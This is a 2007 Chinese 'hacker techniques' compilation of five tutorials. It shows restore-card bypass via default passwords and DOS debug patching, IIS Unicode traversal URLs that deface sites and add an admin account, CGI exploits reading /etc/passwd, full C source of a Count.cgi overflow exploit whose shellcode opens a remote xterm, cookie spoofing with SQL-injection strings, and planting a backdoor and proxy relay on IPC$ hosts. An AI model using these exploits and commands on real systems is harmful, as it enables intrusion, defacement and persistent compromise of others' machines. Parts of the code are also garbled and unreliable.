《黑客技术》
作者:未知 ,最后更新:2007-1-12 23:35:52

?15秒内破解硬盘还原卡[攻略]

在网吧上网的朋友一定想保存下载的东东吧,那是那网吧的机器装有还原卡啊。真***。我杀杀杀还原卡!!!!呵呵呵呵…—*…%¥#··%

那你就看这篇文章吧:)

原理性的东东我不想在这废话。

废话不说了

进入正题

破解方法有2:

第一种破解率还可以.

第二种好像是万能的(俺还没碰到破解不了的----见识短的表现-

第一种:

开机时(也就是在你曾经进入cmos的时刻)

同时按住ctrl+home

这样你就进入了

还原卡的密码输入窗口

只要输入正确的密码即可获得admin

以后随你怎样设置.

关于是密码的问题:一般还原卡都有默认密码的

默认密码怎么找

很简单

到网上搜索

关键词"还原卡"就行了

找到你用的那个牌子的还原卡

进入站点

在一个比较偏僻的角落

一般可以找到默认密码的.

而一般机房管理员是不会修改其默认密码的

比如俺学校的

台湾远志牌的还原卡的默认密码是12345678

小哨兵的是manager

机房管理员一个也没改

好爽!!!!!!!!!!

不过我可没破坏任何东东

一旦惹怒了俺

嘿嘿....俺也不会破坏的

恶意破坏计算机就是对自己的不尊重!!!!

如果管理员把密码改了呢?那就拿出宝刀---

方法二:

此法实施过程看起来挺麻烦

不过熟悉了操作起来超不过15秒的-

高手sinister曰:

其实所谓硬盘保护卡就是在ROM中写了一段HOOK    INT    13的程序,屏蔽了

一些功能调用如AH=3,5等,在中断向量表中INT    13的SEG,OFFSET

描述为[13h*4+2],[13h*4],将此中的程序先保存后,再替换为自己的代码,

当你AH=2的时,它便会call原始INT    13地址来完成操作.

只要找到原始INT    13入口便可以为所欲为.

不知看了这段感觉如何?慢慢消化吧.

主要矛盾:关键是要找到原始的int    13入口.

测试操作系统:win98

测试对象:    台湾远志还原卡

测试地点:    学校机房

测试目的:    控制还原卡

但不破坏.

注:本篇文章不对其实施过程中出现的任何不可预料的情况负责!!!!!

具体过程如下:

开机过程按住F8键

进入纯dos环境

注";"后为注释.

出现提示符c:

键入c:\debug

-    a100

-    xor    ax

ax

-    int    13

-    int3

;    寻找原始的int    13入口.

然后输入t回车,不断的重复,直到显示的地址形如    F000:xxxx

后面的指令为:mov    dl

80    (练练眼力-。按q退出.

记下这一地址

在(0:13H*4)=0:4cH    处填入这个地址。

例如俺的得到的地址是F000:9A95

再次运行debug

键入:

-e    0:4c    95    9A    00    F0    ;e的作用将数据表"95    9A    00    f0"

写入地址0:4c开始的字节中.

-q

注:    填的时候要仔细,填错的话会死机。ok

破解完成.

这时在提示符c:\键入

c:\win

进入win98系统即可

那么这次你在win98系统中的一切操作

随着下一次

的启动都会被还原卡存储起来。

不过下一次进入系统的的时候,你还是需要重写地址0:4c

才可以让还原卡存储你的东东。

这时只需要在纯dos下进入debug

键入

-e    0:4c    95    9A    00    F0

-q    即可。

哈哈。。。这样也挺好,只有你才是这台computer的真正的主人    -。

别人还是受还原卡的限制的except--you    。

终于over了

浪费您的时间了,byebye

后会有期!!!   


?5分钟学会黑网站

-BADBOY编写整理.(我觉得unicode漏洞最好学了~    ^____^    )

如果对放有unicodi漏洞的话:

先把c:\winnt\system32\cmd.exe    拷贝到了c:\inetpub\scripts\ccc.exe拷贝,cmd.exe(必须改名)方法:    http://ip/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe

这时c:\winnt\system32\cmd.exe已经拷贝到了c:\inetpub\scripts\ccc.exe

通过http://ip/scripts/ccc.exe?/c+dir+c:\    可以看到c:\文件。

我们就可以调用到cmd.exe了,就是说不用那个编码了。    http://ip/scripts/ccc.exe?/c+echo+Hack+by+Chinese+>+c:\inetpub\wwwroot\default.asp    http://192.168.8.48/scripts/ccc.exe?/c+echo+1/5/2001+>>+c:\inetpub\wwwroot\default.asp

主页面就被修改成了:

Hack    by    Chinese

1/5/2001

也就是说,已经把他的主页黑了。

当然,我们也不能只停留在黑主页的地步,当然想进一步控制整个机器了。

方法:

编写.bat执行文件:

1.打开IE,输入:http://ip/scripts/cmd.exe?/c    dir    怎么样?有cmd.exe文件了吧?这我们就完成了第一步;

2.http://ip/scripts/cmd.exe?/c    echo    net    user    guest    /active:yes>go.bat

3.http://ip/scripts/cmd.exe?/c    echo    net    user    guest    Chinese>>go.bat

4.http://ip/scripts/cmd.exe?/c    echo    net    localgroup    administrators    /add    guest>>go.bat

5.http://ip/scripts/cmd.exe?/c    type    go.bat    看看我们的批文件内容是否如下:

net    user    guest    /active:yes

net    user    guest    Chinese

net    localgroup    administrators    /add    guest

然后在:    http://ip/scripts/go.bat

在磁盘当前位置执行.

他的guest密码就是“Chinese”    而且是超级用户。

然后你就可以:    net    use    \\ip\ipc$    "Chinese"    /user:"guest"

其余的net命令在这我就不都说了!

当然你也可以:

执行:http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\发现列出了远程主机C:\下的所有文件

执行:    http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/c    +copy%20c:\autoexec.bat+c:\autoexec.bak    成功实现文件的复制,

执行:http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del%20c:\autoexec.bak    成功实现文件的删除他的guest密码就是“Chinese”    而且是超级用户。

然后你就可以:    net    use    \\ip\ipc$    "Chinese"    /user:"guest"

其余的net命令在这我就不都说了!

多謝E-BADBOY

就是不懂提高權限到ADMIN.   


?CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK    LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:bamboo@kali.com.cn    

一、phf.cgi攻击:    

phf是大家所熟悉的了,它本来是用来更新PHONEBOOK的,但是许多管理员对它不了解以至于造成了漏洞。在浏览器中输入:    

http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd    

可以显示出PASSWD文档来。其实还可以用更好的命令来实现目的:    

http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna

me=&Qoffice_phone=

http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=

haqr&Qemail=&Qnickname=&Qoffice_phone=

http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd

%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=

http://thegnome.com/~someuser/passwd

http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname

=haqr&Qemail=&Qnickname=&Qoffice_phone=    

以上等于执行了命令:    

id    

ls    -la    ~someuser    

cp    /etc/passwd    ~someuser/passwd    

(用普通的可以进入的目录来看passwd)    

rm    ~someuser/passwd    

二、php.cgi

除了PHF以外,php也是常见的漏洞,php.cgi    2.0beta10或更早版本中,允许anyone以

HTTP管理员身份读系统文件,在浏览器中输入:    

http://boogered.system.com/cgi-bin/php.cgi?/etc/passwd    

就可以看到想看的文件。    

另外,一部分php.cgi还可以执行shell,原因是它把8k    bytes字节放入128bytes的缓冲区中,造成堆栈段溢出,使得攻击者可以以HTTP管理员的身份执行。

但是只有PHP作为CGI脚本时才能实现,而在作为Apache模量是不能运行的。想检查能否运行,只要在浏览器中输入:    

http://hostname/cgi-bin/php.cgi    

如果你看到返回这样的字样就可以运行:    

PHP/FI    Version    2.0b10

...    

三、test-cgi的问题

test-cgi同样是个常常出现的漏洞,在浏览器中输入:    

http://thegnome.com/cgi-bin/test-cgi?\whatever    

将会返回:    

CGI/1.0    test    script    report:    

argc    is    0.    argv    is    .    

SERVER_SOFTWARE    =    NCSA/1.4B

SERVER_NAME    =    thegnome.com

GATEWAY_INTERFACE    =    CGI/1.1

SERVER_PROTOCOL    =    HTTP/1.0

SERVER_PORT    =    80

REQUEST_METHOD    =    GET

HTTP_ACCEPT    =    text/plain,    application/x-html,    application/html,

text/html,    text/x-html

PATH_INFO    =

PATH_TRANSLATED    =

SCRIPT_NAME    =    /cgi-bin/test-cgi

QUERY_STRING    =    whatever

REMOTE_HOST    =    fifth.column.gov

REMOTE_ADDR    =    200.200.200.200

REMOTE_USER    =

AUTH_TYPE    =

CONTENT_TYPE    =

CONTENT_LENGTH    =    

再来一次,这样输入:    

http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd    

看到PASSWD了?    

用netcat    80    端口    进行攻击:    

machine%    echo    "GET    /cgi-bin/test-cgi?/*"    |    nc    removed.name.com    80    

返回:    

CGI/1.0    test    script    report:    

argc    is    1.    argv    is    /\*.    

SERVER_SOFTWARE    =    NCSA/1.4.1

SERVER_NAME    =    removed.name.com

GATEWAY_INTERFACE    =    CGI/1.1

SERVER_PROTOCOL    =    HTTP/0.9

SERVER_PORT    =    80

REQUEST_METHOD    =    GET

HTTP_ACCEPT    =

PATH_INFO    =

PATH_TRANSLATED    =

SCRIPT_NAME    =    /bin/cgi-bin/test-cgi

QUERY_STRING    =    /a    /bin    /boot    /bsd    /cdrom    /dev    /etc    /home    /lib    /mnt

/root    /sbin    /stand    /sys    /tmp    /usr    /usr2    /var

REMOTE_HOST    =    remote.machine.com

REMOTE_ADDR    =    255.255.255.255

REMOTE_USER    =

AUTH_TYPE    =

CONTENT_TYPE    =

CONTENT_LENGTH    =    

显示出了根目录!这样试试:    

machine%    echo    "GET    /cgi-bin/test-cgi?*"    |    nc    removed.name.com    80    

返回:    

CGI/1.0    test    script    report:    

argc    is    1.    argv    is    \*.    

SERVER_SOFTWARE    =    NCSA/1.4.1

SERVER_NAME    =    removed.name.com

GATEWAY_INTERFACE    =    CGI/1.1

SERVER_PROTOCOL    =    HTTP/0.9

SERVER_PORT    =    80

REQUEST_METHOD    =    GET

HTTP_ACCEPT    =

PATH_INFO    =

PATH_TRANSLATED    =

SCRIPT_NAME    =    /bin/cgi-bin/test-cgi

QUERY_STRING    =    calendar    cgi-archie    cgi-calendar    cgi-date    cgi-finger

cgi-fortune    cgi-lib.pl    imagemap    imagemap.cgi    imagemap.conf    index.html

mail-query    mail-query-2    majordomo    majordomo.cf    marker.cgi

menu    message.cgi    munger.cgi    munger.note    ncsa-default.tar    post-query

query    smartlist.cf    src    subscribe.cf    test-cgi    uptime

REMOTE_HOST    =    remote.machine.com

REMOTE_ADDR    =    255.255.255.255

REMOTE_USER    =

AUTH_TYPE    =

CONTENT_TYPE    =

CONTENT_LENGTH    =    

显示了/CGI-BIN/目录下的东西。

CGI漏洞的利用(二)

CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK    LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:bamboo@kali.com.cn    

四、Count.cgi溢出漏洞    

Count.cgi(wwwcount)是国外网站经常用的CGI网页计数程序,国内很少有人用它,不过还是有一些网站的CGI-BIN目录下有它,简单说一下它的原理以及利用方法。

出现问题主要是由于QUERY_STRING    环境变量被复制到一个活动缓冲区,造成溢出,允许远程用户以HTTP管理员的身份执行任意命令。

有人写了个程序来利用这个漏洞,只对Count.cgi    24以下版本有效:

/*###    count.c    ########################################################*/

#include    

#include    

#include    

#include    

#include    

#include    

#include    

#include    

#include    

/*    Forwards    */

unsigned    long    getsp(int);

int    usage(char    *);

void    doit(char    *,long,    char    *);    

/*    Constants    */

char    shell[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"

"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"

"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"

"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"

"/usr/X11R6/bin/xterm0-ut0-display0";

char    endpad[]=

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"

"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";    

int    main    (int    argc,    char    *argv[]){

char    *shellcode    =    NULL;

int    cnt,ver,retcount,    dispnum,dotquads[4],offset;

unsigned    long    sp;

char    dispname[255];

char    *host;    

offset    =    sp    =    cnt    =    ver    =    0;

fprintf(stderr,"\t%s    -    Gus\n",argv[0]);

if    (argc<3)    usage(argv[0]);    

while    ((cnt    =    getopt(argc,argv,"h:d:v:o:"))    !=    EOF)    {

switch(cnt){

case    'h':

host    =    optarg;

break;

case    'd':

{

retcount    =    sscanf(optarg,    "%d.%d.%d.%d:%d",    

&dotquads[0],

&dotquads[1],

&dotquads[2],

&dotquads[3],    &dispnum);

if    (retcount    !=    5)    usage(argv[0]);

sprintf(dispname,    "%03d.%03d.%03d.%03d:%01d",    

dotquads[0],    dotquads[1],    dotquads[2],dotquads[3],    dispnum);

shellcode=malloc(strlen((char    *)optarg)+strlen(shell)+strlen(endpad));

sprintf(shellcode,"%s%s%s",shell,dispname,endpad);

}

break;

case    'v':

ver    =    atoi(optarg);

break;

case    'o':

offset    =    atoi(optarg);

break;

default:

usage(argv[0]);

break;

}

}    

sp    =    offset    +    getsp(ver);    

(void)doit(host,sp,shellcode);    

exit(0);

}    

unsigned    long    getsp(int    ver)    {    

/*    Get    the    stack    pointer    we    should    be    using.    YMMV.    If    it    does    not    work,

try    using    -o    X,    where    x    is    between    -1500    and    1500    */

unsigned    long    sp=0;    

if    (ver    ==    15)    sp    =    0xbfffea50;

if    (ver    ==    20)    sp    =    0xbfffea50;

if    (ver    ==    22)    sp    =    0xbfffeab4;

if    (ver    ==    23)    sp    =    0xbfffee38;    /*    Dunno    about    this    one    */

if    (sp    ==    0)    {

fprintf(stderr,"I    don't    have    an    sp    for    that    version    try    using    the    -o    option.\n");

fprintf(stderr,"Versions    above    24    are    patched    for    this    bug.\n");

exit(1);

}    else    {

return    sp;

}    

}    

int    usage    (char    *name)    {

fprintf(stderr,"\tUsage:%s    -h    host    -d    ]\n",name);

fprintf(stderr,"\te.g.    %s    -h    www.foo.bar    -d    127.0.0.1:0    -v    22\n",name);

exit(1);

}    

int    openhost    (char    *host,    int    port)    {    

int    sock;    

struct    hostent    *he;

struct    sockaddr_in    sa;    

he    =    gethostbyname(host);

if    (he    ==    NULL)    {

perror("Bad    hostname\n");

exit(-1);

}    

memcpy(&sa.sin_addr,    he->h_addr,    he->h_length);    

sa.sin_port=htons(port);

sa.sin_family=AF_INET;

sock=socket(AF_INET,SOCK_STREAM,0);

if    (sock    <    0)    {

perror    ("cannot    open    socket");

exit(-1);

}

bzero(&sa.sin_zero,sizeof    (sa.sin_zero));    

if    (connect(sock,(struct    sockaddr    *)&sa,sizeof    sa)<0)    {

perror("cannot    connect    to    host");

exit(-1);

}    

return(sock);

}    

void    doit    (char    *host,long    sp,    char    *shellcode)    {    

int    cnt,sock;

char    qs[7000];

int    bufsize    =    16;

char    buf[bufsize];

char    chain[]    =    "user=a";    

bzero(buf);    

for(cnt=0;cnt<4104;cnt+=4)    {

qs[cnt+0]    =    sp    &    0x000000ff;

qs[cnt+1]    =    (sp    &    0x0000ff00)    >>    8;

qs[cnt+2]    =    (sp    &    0x00ff0000)    >>    16;

qs[cnt+3]    =    (sp    &    0xff000000)    >>    24;

}

strcpy(qs,chain);

qs[strlen(chain)]=0x90;    

qs[4104]=    sp&0x000000ff;

qs[4105]=(sp&0x0000ff00)>>8;

qs[4106]=(sp&0x00ff0000)>>16;

qs[4107]=(sp&0xff000000)>>24;

qs[4108]=    sp&0x000000ff;

qs[4109]=(sp&0x0000ff00)>>8;

qs[4110]=(sp&0x00ff0000)>>16;

qs[4111]=(sp&0xff000000)>>24;

qs[4112]=    sp&0x000000ff;

qs[4113]=(sp&0x0000ff00)>>8;

qs[4114]=(sp&0x00ff0000)>>16;

qs[4115]=(sp&0xff000000)>>24;

qs[4116]=    sp&0x000000ff;

qs[4117]=(sp&0x0000ff00)>>8;

qs[4118]=(sp&0x00ff0000)>>16;

qs[4119]=(sp&0xff000000)>>24;

qs[4120]=    sp&0x000000ff;

qs[4121]=(sp&0x0000ff00)>>8;

qs[4122]=(sp&0x00ff0000)>>16;

qs[4123]=(sp&0xff000000)>>24;

qs[4124]=    sp&0x000000ff;

qs[4125]=(sp&0x0000ff00)>>8;

qs[4126]=(sp&0x00ff0000)>>16;

qs[4127]=(sp&0xff000000)>>24;

qs[4128]=    sp&0x000000ff;

qs[4129]=(sp&0x0000ff00)>>8;

qs[4130]=(sp&0x00ff0000)>>16;

qs[4131]=(sp&0xff000000)>>24;

strcpy((char*)&qs[4132],shellcode);    

sock    =    openhost(host,80);

write(sock,"GET    /cgi-bin/Count.cgi?",23);

write(sock,qs,strlen(qs));

write(sock,"    HTTP/1.0\n",10);

write(sock,"User-Agent:    ",12);

write(sock,qs,strlen(qs));

write(sock,"\n\n",2);

sleep(1);    

/*    printf("GET    /cgi-bin/Count.cgi?%s    HTTP/1.0\nUser-Agent:    %s\n\n",qs,qs);    */    

/*

setenv("HTTP_USER_AGENT",qs,1);    

setenv("QUERY_STRING",qs,1);

system("./Count.cgi");

*/

}    

------------------------------------    

用法是:count    -h    

例如:count    -h    www.foo.bar    -d    127.0.0.1:0    -v    22    

五、用Count.cgi看图片    

这个不算是很有用的漏洞,可是既然写到这儿了,也就顺便提一下吧。可以利用Count.cgi看WEB目录以外的图片,据作者说有一些商业网站的图片里有一些商业机密,所以这个漏洞也算是有点用处吧!哈哈!    

在浏览器中这样输入:

其中/path_to_gif/file.gif是你要看的图片的路径。    

注意,这一漏洞只能被用来看(或下载)GIF格式的图片,而不能用于其他类型的文件。   


?现在有很多社区网为了方便网友浏览,都使用了cookie技术以避免多次输入密码(就如the9    

和vr),所以只要对服务器递交给用户的cookie进行改写就可以达到欺骗服务程序的目的。    

    

COOKIE欺骗原理    

按照浏览器的约定,只有来自同一域名的cookie才可以读写,而cookie只是浏览器的,对通    

讯协议无影响,所以要进行cookie欺骗可以有多种途径:    

1、跳过浏览器,直接对通讯数据改写    

2、修改浏览器,让浏览器从本地可以读写任意域名cookie    

3、使用签名脚本,让浏览器从本地可以读写任意域名cookie(有安全问题)    

4、欺骗浏览器,让浏览器获得假的域名    

其中:    

方法1、2需要较专业的编程知识,对普通用户不太合适。    

方法3的实现有2种方法:    

1、直接使用签名脚本,不需要签名验证,但是产生很严重的安全问题,因为大家都要上网    

的,如果这样做你的硬盘文件就……    

2、对脚本进行签名后再使用签名脚本,但是需要专用的数字签名工具,对普通用户也不合    

适。    

方法4看样子应该是最合适的了,域名欺骗很简单,也不需要什么工具(当然如果你的机器    

装有web服务器那更好了),下面我以the9为例,以这种方法为基础,阐述一下cookie欺骗的    

过程(下文中提到的任何服务端的bug,the9都已经做了改进,所以本文对the9无安全方面的    

影响):    

注:我们讨论的cookie是那种不会在硬盘的cookie文件里留下踪迹的cookie,就是那种只在    

浏览器生存周期内(会话)产生的cookie,如果浏览器关闭(会话结束)那么这个cookie就    

被删了!     

COOKIE欺骗实战    

the9在登陆的时候会返回3个cookie(这可把浏览器的警告cookie选项打开时看到):    

cgl_random(随即序列号):登陆识别的记号    

cgl_loginname(登陆名):身份的识别记号    

cgl_areaid(小区号):你居住的小区号码    

只要把cgl_loginname填入正确的登陆名,再对cgl_random进行修改,就可以达到欺骗服务程    

序的目的。    

一般欺骗php程序的字符串为:    

1''or''1''=''1    

把这个填入cgl_random,服务程序就被欺骗了!    

因为服务程序不太可能对cookie进行语法检查(the9现在改进了),那么把这个字符串填入    

,就可以成功的欺骗对方程序,而达到突破的目的了!    

现在的问题是,如何使浏览器把这个我改过的cookie返回给the9?    

看一看the9的域名吧:http://www.the9.com/,而浏览器的cookie警告已经告诉了我们这3    

个cookie会返回给有.the9.com这个域名的服务器,哎?我的机器上正好有web服务器,那么    

动手吧!    

先编一个设置cookie的html,就叫cookie.htm吧,然后把这个cookie放进web目录,这样还不    

行,因为我的机器的域名没设,那么设置host的名字,可是如果在网络设置中进行设置的话    

,机器要重启动的,还是想想别的简单的办法吧!    

然后我们应该编辑hosts文件,这个文件应该在windows目录下,你有可能找不到它,但是如    

果你找到了hosts.sam文件,那么把它后面的扩展名去掉,就是我们要的文件了!    

编辑hosts文件,填入以下一行:    

127.0.0.1    www0.the9.com    

解释一下,127.0.0.1是本机的lo地址,可以用做web地址,而www0.the9.com就是我们欺骗产    

生的域名。    

然后在浏览器中输入http://www0.the9.com/cookie.htm,看,页面出来了,快设置cookie吧    

!    

直接访问http;//www.the9.com/main.htm看看,不错吧!    

但是不是所有的网友都有自己的web服务器啊!那怎么办呢?    

其实如果你有个人主页的话,也可以达到cookie欺骗的目的,比如某个个人主页的服务器的    

ip地址是1.2.3.4,先上传cookie.htm文件,再编辑hosts文件:    

1.2.3.4    www0.the9.com    

然后访问http://www0.the9.com/***/cookie.htm,其中***是你个人主页的地址目录。    

对了我作了个工具在我的主页上,现在公开一下,http://home.etang.com/fsl/9the/,大家    

知道该怎么做了吧?嘿嘿,不过你那样设置是没有用的,要这样编辑hosts:    

etang的ip    www.the9.com    

the9的ip    www0.the9.com    

为什么要这样呢?我等会会告诉大家的    

     

继续the9的cookie讨论,还有2个cookie:    

cgl_mainshowinfo(个人信息)    

cgl_showinfo_changed(意义不知)    

由于第二个cookie不知道是什么,所以就讨论第一个。    

第一个cookie存放着你在the9的名字、称号、居住的小区、街道、是否有工作、星级、门牌    

号等的信息(目前只知道这些,其余的信息不知其意义,具体格式就让给大家去分析了),    

但是中文都escape过了,如果你用的不是netscpae而是ie的话,不能用unescape得知其信息    

,因为ie对双字节采用unicode而不采用ascii,如果哪天the9也支持unicode就好了!:),    

但是其他网站站长注意了,你们可通过cgi的形式把这些the9居民信息抓过来实现数据共享!    

哈哈……,如果你们真要这么做,就只有使用签名脚本了,总不能让别人编辑hosts吧(不过    

得注意版权哦!)?    

ie的cookie漏洞:    

如果你用的是ie的话,由于ie本身的漏洞,你大可不必编辑hosts,就可以同样做到读写别的    

域名的cookie,你可以使用以下的方法欺骗ie(具体的可以去www.cookiecentral.com看看)    

:    

假设你的主页文件为http://a.com/cookie.htm,    

使用以下url:    http://a%2Ecom%2Fcookie%2Ehtm%3F.the9.com    

如果直接输在浏览器地址栏里不行,就作个script,把location的值设为这个就可以了!    

这个地址转换后应该是这样的:    http://a.com/cookie.htm?.the9.com    

由于ie的bug,误把前面那个的域名以为是.the9.com了!    

hosts文件解释    

hosts文件实际上可以看成一个本机的dns系统,它可以负责把域名解释成ip地址,它的优先    

权比dns服务器要高,它的具体实现是TCP/IP协议中的一部分。    

如果有这么一行:    

202.109.110.3    www.the9.com    

那么在输入www.the9.com时,网络协议会首先检查hosts文件找到匹配的,如果找不到再去d    

ns查,这样你访问www.the9.com实际上是访问202.109.110.3,而不是通常的202.109.110.2    

。    

注:由于缓存的作用,如果开着浏览器编辑hosts的话,hosts里的内容有可能不会当场生效    

,你可以重新启动浏览器或等一会时间再试一下!    

关于REFERER的欺骗(这个虽然不属于cookie欺骗,但是懒得再写一篇,就归在一起    

了)    

referer是http头,它的作用是签定用户是从何处引用连接的,在the9,服务程序就充分利用    

了这一点,如过你是手动输入url的话,那么referer不会设任何值,服务程序就返回什么“    

投机取巧”的字样!    

由于我们前面对浏览器进行了域名欺骗,那么referer也被欺骗了,但是服务程序对referer    

是整个主机名检查,所以www0.the9.com的域名就欺骗不了服务器,所以得用www.the9.com欺    

骗,那么还得设一个域名方便我们访问the9,而且还得让cookie返回给这个真的the9,那么    

就用www0.the9.com吧!(这回知道前面访问我主页工具时要那样编辑hosts了吧?)    

如果你用了这个方法的话,那么你就不能直接点击the9的连接,而得用工具中的地址欺骗来    

进行访问,至于这样做的好处,大家自己找找吧,我就不想详细说了,太累了!    

关于netvampire:    

这个下载工具大家都知道吧?那么它的3.3版大家用过吗?很棒的!因为它可以直接让大家改    

变下载连接的referer,而且它还能继承浏览器的cookie,把cookie返回给服务端(不过coo    

kie不能改,如果能改的话,这个工具就太………………)    

后记    

好了关于cookie及referer就说到这了,在这个星期以前利用cookie欺骗的话the9的门户可是    

大开的(当然似乎还有通用密码什么的),不过the9虽然改进了,我不能保证其他社区网也    

改进了,当然本文只是探讨技术,不负什么法律责任   


?序:因为贴出《如何入侵能建立IPC$空衔接的主机》后,信仰2提意见说贴一些教制作跳板的,所以就有了这篇帖子:)    

前提条件:找到能建立IPC空衔接的主机,如何找到请参阅《如何入侵能建立IPC$空衔接的主机》,我的主页上也有,网址是:topcoooler.51.net    

需要工具:    

Sksockserver.exe    下载地址:http://snake12.top263.net/SkSockServer/SkSockServer1.06.zip28KB    

1:    开启CMD.EXE    ,然后在流光的目录找到SRV.EXE    (C:files.exe)将srv.exe拷到C目录,还有将sksockserver.exe也拷到C目录里,最好都改个名字,这样改了名字就没这么容易被发现了。现在就可以输入net    use    \XXX.XXX.XXX.XXX$    "密码"    /user:用户名"    ,如果成功的话将出现“命令完成”。    

(注    :NET    USE    \ip$    密码    /user:用户名字)    

2:将将SRV.EXE和sksockserver.exe拷到主机的SYSTEM32目录里。    

命令为:    C:\srv.exe    \\XXX.XXX.XXX.XXX\admin$\system32    

C:\sksockserver.exe    \\XXX.XXX.XXX.XXX\admin$\system32    

成功拷贝的话,将会出现:“已复制        1个文件”的提示。    

这个过程大概需要几分钟,等等吧:)    

3:输入    net    time    \\XXX.XXX.XXX.XXX    

这样我们就得到了主机的本地时间。    

4:输入    at    \\XXX.XXX.XXX.XXX    时间    要运行的程式    (记得时间是用主机的本地时间,一定要输入比本地时间迟几分钟!!!这样过几分钟后该程式将自动执行    ,还有    ,时间是按照国际时间的)    ,    出现添加了一项作业,其作业ID-1,就表示已经增加了作业    !!    

如果要取消作业    ,    输入    at    \XXX.XXX.XXX.XXX    ID号码    /del    

5:过几分钟    ,    输入    at    \\XXX.XXX.XXX.XXX    查看刚才要执行任务的情况    ,可以看到如下内容:    

状态    ID        日期                时间        命令行    

-----------------------------------    

    

这就表示任务已经执行了    !!    

6:现在可以输入    telnet    XXX.XXX.XXX.XXX    99    (    刚才执行的srv.exe就是用来打开99端口的)    !!很快的,我们将可以进入目标的电脑系统了:)    

这是显示为:    

C:\WINNT\system32>    

    

7:这是键入:C:\WINNT\system32>sksockserver    -install    

注意:现在不会显示你已经输入的命令文字    ,    放心    ,这是正常的    。然后按ENTER!    

8:现在来指定打开哪个端口,你可以用    1199,2001等端口,也可以按下面输入:    

C:\WINNT\system32>    

C:\WINNT\system32>sksockserver.exe    -config    port    1127    

这时屏幕显示:    

The    Port    valve    set    to    1127    

注:可以跳过以上步骤,默认端口是1813!!!    

9:这时就输入:    

C:\WINNT\system32>sksockserver    -config    starttyte    2    

屏幕显示:    

The    New    StartType    have    set    to    2    --Auto    

这样就不怕目标重新启动系统后你的跳板就停止运行    :)    

10:依照下面输入,你就拥有了自己的跳板了:)    

命令为:    

C:\WINNT\system32>    

C:\WINNT\system32>net    start    skserver    

屏幕显示:    

The    Snake    SockProxy    Service    service    is    starting.    

The    Snake    SockProxy    Service    service    was    started    successfully.    

11:现在要离开这台主机了,连接太久容易被发现嘛:)    

输入:    

net    use    \\XXX.XXX.XXX.XXX    /del    

屏幕显示:    

\\XXX.XXX.XXX.XXX    已经删除。    

